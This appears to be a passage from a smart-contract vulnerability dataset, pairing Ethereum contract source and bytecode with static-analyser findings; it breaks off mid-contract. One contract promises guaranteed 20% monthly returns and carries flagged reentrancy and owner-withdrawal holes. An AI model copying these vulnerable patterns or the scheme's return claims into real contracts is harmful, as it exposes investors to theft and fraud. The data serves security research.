(tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6060604052600436106101315763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461013f57806306fdde031461017057806310d0ffdd146101fa57806318160ddd146102105780632260937314610223578063313ce567146102395780633ccfd60b146102625780634b7503341461027757806356d399e81461028a578063688abbf71461029d5780636b2f4632146102b557806370a08231146102c857806373338081146102e7578063831aba43146103195780638620410b14610338578063949e8acd1461034b57806395d89b411461035e578063a9059cbb14610371578063bff1f9e1146103a7578063e4849b32146103ba578063e9fad8ee146103d0578063f088d547146103e3578063fdb5a03e146103f7575b61013c34600061040a565b50005b341561014a57600080fd5b61015e600160a060020a0360043516610721565b60405190815260200160405180910390f35b341561017b57600080fd5b61018361075c565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101bf5780820151838201526020016101a7565b50505050905090810190601f1680156101ec5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020557600080fd5b61015e6004356107fa565b341561021b57600080fd5b61015e61082d565b341561022e57600080fd5b61015e600435610834565b341561024457600080fd5b61024c610870565b60405160ff909116815260200160405180910390f35b341561026d57600080fd5b610275610875565b005b341561028257600080fd5b61015e610941565b341561029557600080fd5b61015e610997565b34156102a857600080fd5b61015e600435151561099d565b34156102c057600080fd5b61015e6109e0565b34156102d357600080fd5b61015e600160a060020a03600435166109ee565b34156102f257600080fd5b6102fd600435610a09565b604051600160a060020a03909116815260200160405180910390f35b341561032457600080fd5b61015e600160a060020a0360043516610a31565b341561034357600080fd5b61015e610a4c565b341561035657600080fd5b61015e610a96565b341561036957600080fd5b610183610aa9565b341561037c57600080fd5b610393600160a060020a0360043516602435610b14565b604051901515815260200160405180910390f35b34156103b257600080fd5b61015e610c29565b34156103c557600080fd5b610275600435610c2f565b34156103db57600080fd5b610275610d95565b61015e600160a060020a0360043516610dcc565b341561040257600080fd5b610275610dd8565b600033818080808080806104296104228c6019610e93565b6064610ec5565b9650610439610422886032610e93565b95506104458787610edc565b94506104518b88610edc565b935061045c84610eee565b925068010000000000000000850291506000831180156104865750600a546104848482610f7f565b115b151561049157600080fd5b600160a060020a038a16158015906104bb575087600160a060020a03168a600160a060020a031614155b80156104e15750600254600160a060020a038b1660009081526006602052604090205410155b1561056357600160a060020a038a166000908152600760205260409020546105099087610f7f565b600160a060020a03808c16600090815260076020908152604080832094909455918b1681526004909152205460ff16151561055e57600160a060020a038a166000908152600360205260409020805460010190555b61057e565b61056d8587610f7f565b945068010000000000000000850291505b600160a060020a03881660009081526004602052604090205460ff16151561060b57600160a060020a0388166000908152600460205260409020805460ff1916600190811790915560058054909181016105d8838261102c565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038a161790555b6000600a54111561066f57610622600a5484610f7f565b600a81905568010000000000000000860281151561063c57fe5b600b8054929091049091019055600a5468010000000000000000860281151561066157fe5b048302820382039150610675565b600a8390555b600160a060020a0388166000908152600660205260409020546106989084610f7f565b600160a060020a03808a16600081815260066020908152604080832095909555600b54600890915290849020805491880287900391820190559350908c16917f022c0d992e4d873a3748436d960d5140c1f9721cf73f7ca5ec679d3d9f4fe2d5908e9087905191825260208201526040908101905180910390a350909998505050505050505050565b600160a060020a0316600090815260086020908152604080832054600690925290912054600b54680100000000000000009102919091030490565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107f25780601f106107c7576101008083540402835291602001916107f2565b820191906000526020600020905b8154815290600101906020018083116107d557829003601f168201915b505050505081565b600080808061080d610422866019610e93565b92506108198584610edc565b915061082482610eee565b95945050505050565b600a545b90565b600080600080600a54851115151561084b57600080fd5b61085485610f8e565b9250610864610422846019610e93565b91506108248383610edc565b601281565b6000806000610884600161099d565b1161088e57600080fd5b33915061089b600061099d565b600160a060020a0383166000818152600860209081526040808320805468010000000000000000870201905560079091528082208054929055920192509082156108fc0290839051600060405180830381858888f19350505050151561090057600080fd5b81600160a060020a03167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc8260405190815260200160405180910390a25050565b600080600080600a546000141561095e576311e1a3009350610991565b61096f670de0b6b3a7640000610f8e565b925061097f610422846019610e93565b915061098b8383610edc565b90508093505b50505090565b60025481565b600033826109b3576109ae81610721565b6109d7565b600160a060020a0381166000908152600760205260409020546109d582610721565b015b91505b50919050565b600160a060020a0330163190565b600160a060020a031660009081526006602052604090205490565b6005805482908110610a1757fe5b600091825260209091200154600160a060020a0316905081565b600160a060020a031660009081526003602052604090205490565b600080600080600a5460001415610a6957636553f1009350610991565b610a7a670de0b6b3a7640000610f8e565b9250610a8a610422846019610e93565b915061098b8383610f7f565b600033610aa2816109ee565b91505b5090565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107f25780601f106107c7576101008083540402835291602001916107f2565b6000806000610b21610a96565b11610b2b57600080fd5b50336000610b39600161099d565b1115610b4757610b47610875565b600160a060020a038116600090815260066020526040902054610b6a9084610edc565b600160a060020a038083166000908152600660205260408082209390935590861681522054610b999084610f7f565b600160a060020a03858116600081815260066020908152604080832095909555600b805494871680845260089092528583208054958a0290950390945592548282529084902080549188029091019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b5092915050565b60055490565b6000806000806000806000610c42610a96565b11610c4c57600080fd5b33600160a060020a038116600090815260066020526040902054909650871115610c7557600080fd5b869450610c8185610f8e565b9350610c91610422856019610e93565b9250610c9d8484610edc565b9150610cab600a5486610edc565b600a55600160a060020a038616600090815260066020526040902054610cd19086610edc565b600160a060020a038716600090815260066020908152604080832093909355600b546008909152918120805492880268010000000000000000860201928390039055600a54919250901115610d4857610d44600b54600a54680100000000000000008602811515610d3e57fe5b04610f7f565b600b555b85600160a060020a03167fc4823739c5787d2ca17e404aa47d5569ae71dfb49cbf21b3f6152ed238a31139868460405191825260208201526040908101905180910390a250505050505050565b33600160a060020a03811660009081526006602052604081205490811115610dc057610dc081610c2f565b610dc8610875565b5050565b60006109da348361040a565b600080600080610de8600161099d565b11610df257600080fd5b610dfc600061099d565b33600160a060020a038116600090815260086020908152604080832080546801000000000000000087020190556007909152812080549082905590920194509250610e4890849061040a565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab3615326458848360405191825260208201526040908101905180910390a2505050565b600080831515610ea65760009150610c22565b50828202828482811515610eb657fe5b0414610ebe57fe5b9392505050565b6000808284811515610ed357fe5b04949350505050565b600082821115610ee857fe5b50900390565b600a546000906b033b2e3c9fd0803ce80000009082906329b92700610f6c610f66723ec7363a56368870f3f8e00f96e0000000000088026706ccd46763f100006002860a02016f010da15446e63d1e6169deb000000000850201760a70c3c40a64e6c51999090b65f67d924000000000000001610ff7565b85610edc565b811515610f7557fe5b0403949350505050565b600082820183811015610ebe57fe5b600a54600090670de0b6b3a7640000838101918101908390610fe46311e1a3008285046329b9270002018702600283670de0b6b3a763ffff1982890a8b900301046329b9270002811515610fde57fe5b04610edc565b811515610fed57fe5b0495945050505050565b80600260018201045b818110156109da57809150600281828581151561101957fe5b040181151561102457fe5b049050611000565b81548183558181151161105057600083815260209020611050918101908301611055565b505050565b61083191905b80821115610aa5576000815560010161105b5600a165627a7a7230582036babaaaa1dccec1e3a2c3b11a242258ebada4ccbf1e37fe00e19cc4db386fb60029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
50
0x6f968fc93c23a877f0c3415534a8246fdeeeb09f
pragma solidity ^0.5.16; /** Get profit every month with a contract Shareholder VOMER! * * - OBTAINING 20%, 15% or 10% PER 1 MONTH. (percentages are charged in equal parts every 1 sec) * - lifetime payments * - unprecedentedly reliable * - bring luck * - first minimum contribution from 2 eth, all next from 0.01 eth * - Currency and Payment - ETH * - Contribution allocation schemes: * - 100% of payments - 5% percent for support and 25% percent for partner * * VOMER.net * * RECOMMENDED GAS LIMIT: 200,000 * RECOMMENDED GAS PRICE: https://ethgasstation.info/ * DO NOT TRANSFER DIRECTLY FROM AN EXCHANGE (only use your ETH wallet, from which you have a private key) * You can check payments on the website etherscan.io, in the “Internal Txns” tab of your wallet. * * Partner 25%. * Developers 5% * Restart of the contract is also absent. If there is no money in the Fund, payments are stopped and resumed after the Fund is filled. Thus, the contract will work forever! * * How to use: * 1. Send from your ETH wallet to the address of the smart contract * 2. Confirm your transaction in the history of your application or etherscan.io, indicating the address of your wallet. * Take profit by sending any amount of eth to contract (profit is calculated every second). * **/ /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } contract ERC20Token { mapping (address => uint256) public balanceOf; function transfer(address _to, uint256 _value) public; function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } uint256 constant WAD = 10 ** 18; function wdiv(uint x, uint y) internal pure returns (uint256 z) { z = add(mul(x, WAD), y / 2) / y; } function wmul(uint x, uint y) internal pure returns (uint256 z) { z = add(mul(x, y), WAD / 2) / WAD; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Ownable { address payable public owner = msg.sender; address payable public newOwnerCandidate; modifier onlyOwner() { assert(msg.sender == owner); _; } function changeOwnerCandidate(address payable newOwner) public onlyOwner { newOwnerCandidate = newOwner; } function acceptOwner() public { require(msg.sender == newOwnerCandidate); owner = newOwnerCandidate; } } contract ShareholderVomer is Initializable { using SafeMath for *; address payable public owner; address payable public newOwnerCandidate; address payable public support1; address payable public support2; struct InvestorData { uint128 fundsVMR; uint128 totalProfit; uint128 pendingReward; uint64 lastDatetime; uint8 percent; } uint256 public totalUsers; mapping (address => InvestorData) investors; uint256 public rateIn; uint256 public rateOut; modifier onlyOwner() { assert(msg.sender == owner); _; } function initialize() initializer public { address payable _owner = 0xBF165e10878628768939f0415d7df2A9d52f0aB0; owner = _owner; support1 = _owner; support2 = _owner; rateIn = 10**18; rateOut = 10**18; } function setSupport1(address payable _newAddress) public onlyOwner { require(_newAddress != address(0)); support1 = _newAddress; } function setSupport2(address payable _newAddress) public onlyOwner { require(_newAddress != address(0)); support2 = _newAddress; } function setRateIn_Wei(uint256 _newValue) public onlyOwner { require(_newValue > 0); rateIn = _newValue; } function setRateOut_Wei(uint256 _newValue) public onlyOwner { require(_newValue > 0); rateOut = _newValue; } function withdraw(uint256 amount) public onlyOwner { owner.transfer(amount); } function changeOwnerCandidate(address payable newOwner) public onlyOwner { newOwnerCandidate = newOwner; } function acceptOwner() public { require(msg.sender == newOwnerCandidate); owner = newOwnerCandidate; } // function for transfer any token from contract function transferTokens (address token, address target, uint256 amount) onlyOwner public { ERC20Token(token).transfer(target, amount); } function safeEthTransfer(address target, uint256 amount) internal { address payable payableTarget = address(uint160(target)); (bool ok, ) = payableTarget.call.value(amount)(""); require(ok); } function getInfo(address investor) view public returns (uint256 contractBalance, uint128 depositVMR, uint128 lastDatetime, uint128 totalProfit, uint128 percent, uint256 _totalUsers, uint256 pendingRewardVMR, uint256 pendingRewardETH) { contractBalance = address(this).balance; InvestorData memory data = investors[investor]; depositVMR = data.fundsVMR; lastDatetime = data.lastDatetime; totalProfit = data.totalProfit; percent = data.percent; _totalUsers = totalUsers; pendingRewardVMR = depositVMR.mul(data.percent).div(100).mul(block.timestamp - data.lastDatetime).div(30 days); pendingRewardVMR = uint128(data.pendingReward.add(pendingRewardVMR)); pendingRewardETH = uint128(pendingRewardVMR.wmul(rateOut)); } function () payable external { require(msg.sender == tx.origin); // prevent bots to interact with contract if (msg.sender == owner) return; InvestorData storage data = investors[msg.sender]; uint128 _lastDatetime = data.lastDatetime; uint128 _fundsVMR = data.fundsVMR; uint256 _rateIn = rateIn; if (msg.value > 0) { support1.transfer(msg.value.mul(25).div(100)); // 25% support2.transfer(msg.value.mul(5).div(100)); // 5% } if (_fundsVMR != 0) { // N% per 30 days uint256 rewardVMR = _fundsVMR.mul(data.percent).div(100).mul(block.timestamp - _lastDatetime).div(30 days); uint128 _pendingReward = data.pendingReward; if (_fundsVMR < 1 ether) { data.pendingReward = uint128(_pendingReward.add(rewardVMR)); } else { rewardVMR = rewardVMR.add(_pendingReward); data.totalProfit = uint128(data.totalProfit.add(uint128(rewardVMR))); uint256 rewardETH = rewardVMR.wmul(rateOut); if (_pendingReward > 0) data.pendingReward = 0; if (rewardETH > 0) safeEthTransfer(msg.sender, rewardETH); } } if (_lastDatetime == 0 && _fundsVMR == 0) { // new user ! uint256 _totalUsers = totalUsers; if (_totalUsers <= 1000) { data.percent = 20; _fundsVMR = uint128((0.3 ether).wmul(_rateIn)); // bonus } else if (_totalUsers <= 10000) { data.percent = 15; _fundsVMR = uint128((0.2 ether).wmul(_rateIn)); // bonus } else { data.percent = 10; _fundsVMR = uint128((0.1 ether).wmul(_rateIn)); // bonus } totalUsers = _totalUsers + 1; } data.lastDatetime = uint64(block.timestamp); data.fundsVMR = uint128(_fundsVMR.add(msg.value.mul(70).div(100).wmul(_rateIn))); } }
0x6080604052600436106100fe5760003560e01c80638129fc1c11610095578063bff1f9e111610064578063bff1f9e1146106b3578063d091b550146106c8578063ebbc4965146106dd578063f6707508146106f2578063ffdd5cf114610707576100fe565b80638129fc1c146106135780638da5cb5b14610628578063a64b6e5f1461063d578063b63e6b1714610680576100fe565b8063561a01b8116100d1578063561a01b81461057a57806365294e1c146105ad5780636dcbc6e4146105d457806377560452146105fe576100fe565b806308b7efcb146104c25780632e1a7d4d146104f357806330924c061461051d5780634ac96e9414610547575b33321461010a57600080fd5b6033546001600160a01b0316331415610122576104c0565b33600090815260386020526040902060018101548154603954600160801b90920467ffffffffffffffff16916001600160801b03909116903415610209576035546001600160a01b03166108fc610191606461018534601963ffffffff61078d16565b9063ffffffff6107bd16565b6040518115909202916000818181858888f193505050501580156101b9573d6000803e3d6000fd5b506036546001600160a01b03166108fc6101df606461018534600563ffffffff61078d16565b6040518115909202916000818181858888f19350505050158015610207573d6000803e3d6000fd5b505b6001600160801b0382161561038157600061027162278d00610185866001600160801b0316420361026560646101858b60010160189054906101000a900460ff1660ff168a6001600160801b031661078d90919063ffffffff16565b9063ffffffff61078d16565b60018601549091506001600160801b0390811690670de0b6b3a764000090851610156102d7576102b06001600160801b0382168363ffffffff6107df16565b6001870180546001600160801b0319166001600160801b039290921691909117905561037e565b6102f0826001600160801b03831663ffffffff6107df16565b865490925061031990600160801b90046001600160801b0390811690841663ffffffff6107df16565b86546001600160801b03918216600160801b029116178655603a5460009061034890849063ffffffff6107f116565b90506001600160801b0382161561036c576001870180546001600160801b03191690555b801561037c5761037c3382610826565b505b50505b6001600160801b03831615801561039f57506001600160801b038216155b1561043f576037546103e881116103de5760018501805460ff60c01b1916600560c21b1790556103d7670429d069189e0000836107f1565b9250610438565b612710811161040e5760018501805460ff60c01b1916600f60c01b1790556103d76702c68af0bb140000836107f1565b60018501805460ff60c01b1916600560c11b17905561043567016345785d8a0000836107f1565b92505b6001016037555b60018401805467ffffffffffffffff60801b1916600160801b4267ffffffffffffffff16021790556104a061048a8261047e606461018534604661078d565b9063ffffffff6107f116565b6001600160801b0384169063ffffffff6107df16565b84546001600160801b0319166001600160801b0391909116179093555050505b005b3480156104ce57600080fd5b506104d761088c565b604080516001600160a01b039092168252519081900360200190f35b3480156104ff57600080fd5b506104c06004803603602081101561051657600080fd5b503561089b565b34801561052957600080fd5b506104c06004803603602081101561054057600080fd5b50356108ed565b34801561055357600080fd5b506104c06004803603602081101561056a57600080fd5b50356001600160a01b0316610913565b34801561058657600080fd5b506104c06004803603602081101561059d57600080fd5b50356001600160a01b031661095c565b3480156105b957600080fd5b506105c2610992565b60408051918252519081900360200190f35b3480156105e057600080fd5b506104c0600480360360208110156105f757600080fd5b5035610998565b34801561060a57600080fd5b506105c26109be565b34801561061f57600080fd5b506104c06109c4565b34801561063457600080fd5b506104d7610ab7565b34801561064957600080fd5b506104c06004803603606081101561066057600080fd5b506001600160a01b03813581169160208101359091169060400135610ac6565b34801561068c57600080fd5b506104c0600480360360208110156106a357600080fd5b50356001600160a01b0316610b57565b3480156106bf57600080fd5b506105c2610ba0565b3480156106d457600080fd5b506104d7610ba6565b3480156106e957600080fd5b506104c0610bb5565b3480156106fe57600080fd5b506104d7610bf0565b34801561071357600080fd5b5061073a6004803603602081101561072a57600080fd5b50356001600160a01b0316610bff565b604080519889526001600160801b0397881660208a015295871688870152938616606088015291909416608086015260a085019390935260c084019290925260e083019190915251908190036101000190f35b60008261079c575060006107b7565b828202828482816107a957fe5b04146107b457600080fd5b90505b92915050565b60008082116107cb57600080fd5b60008284816107d657fe5b04949350505050565b6000828201838110156107b457600080fd5b6000670de0b6b3a7640000610817610809858561078d565b6706f05b59d3b200006107df565b8161081e57fe5b049392505050565b60405182906000906001600160a01b0383169084908381818185875af1925050503d8060008114610873576040519150601f19603f3d011682016040523d82523d6000602084013e610878565b606091505b505090508061088657600080fd5b50505050565b6036546001600160a01b031681565b6033546001600160a01b031633146108af57fe5b6033546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108e9573d6000803e3d6000fd5b5050565b6033546001600160a01b0316331461090157fe5b6000811161090e57600080fd5b603955565b6033546001600160a01b0316331461092757fe5b6001600160a01b03811661093a57600080fd5b603580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b0316331461097057fe5b603480546001600160a01b0319166001600160a01b0392909216919091179055565b60395481565b6033546001600160a01b031633146109ac57fe5b600081116109b957600080fd5b603a55565b603a5481565b600054610100900460ff16806109dd57506109dd610d10565b806109eb575060005460ff16155b610a265760405162461bcd60e51b815260040180806020018281038252602e815260200180610d45602e913960400191505060405180910390fd5b600054610100900460ff16158015610a51576000805460ff1961ff0019909116610100171660011790555b6033805473bf165e10878628768939f0415d7df2a9d52f0ab06001600160a01b0319918216811790925560358054821683179055603680549091169091179055670de0b6b3a76400006039819055603a558015610ab4576000805461ff00191690555b50565b6033546001600160a01b031681565b6033546001600160a01b03163314610ada57fe5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b158015610b3a57600080fd5b505af1158015610b4e573d6000803e3d6000fd5b50505050505050565b6033546001600160a01b03163314610b6b57fe5b6001600160a01b038116610b7e57600080fd5b603680546001600160a01b0319166001600160a01b0392909216919091179055565b60375481565b6034546001600160a01b031681565b6034546001600160a01b03163314610bcc57600080fd5b603454603380546001600160a01b0319166001600160a01b03909216919091179055565b6035546001600160a01b031681565b476000808080808080610c10610d16565b506001600160a01b038916600090815260386020908152604091829020825160a08101845281546001600160801b03808216808452600160801b92839004821695840186905260019094015490811695830195909552840467ffffffffffffffff1660608201819052600160c01b90940460ff1660808201819052603754929b50939950919750919550909350610cb862278d00610185428a90036102656064838e8c61078d565b6040820151909350610cd9906001600160801b03168463ffffffff6107df16565b6001600160801b03169250610cf9603a54846107f190919063ffffffff16565b6001600160801b0316915050919395975091939597565b303b1590565b6040805160a0810182526000808252602082018190529181018290526060810182905260808101919091529056fe436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a6564a265627a7a723158203bb9437762dd36eefd50154fef30e2881eccf4de06a8e69dab27a9c1c949b3f264736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
51
0x92374a6956656ac50d3f067a8c9100a6227c6ba0
/** */ /** Telegram: https://t.me/iloveuINU /** */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ILOVEYOU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"I❤️U"; string private constant _symbol = unicode"I❤️U"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xBb9037028DaEb0E45E43Fe888Debd7339bAc228e); address payable private _marketingAddress = payable(0xBb9037028DaEb0E45E43Fe888Debd7339bAc228e); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } 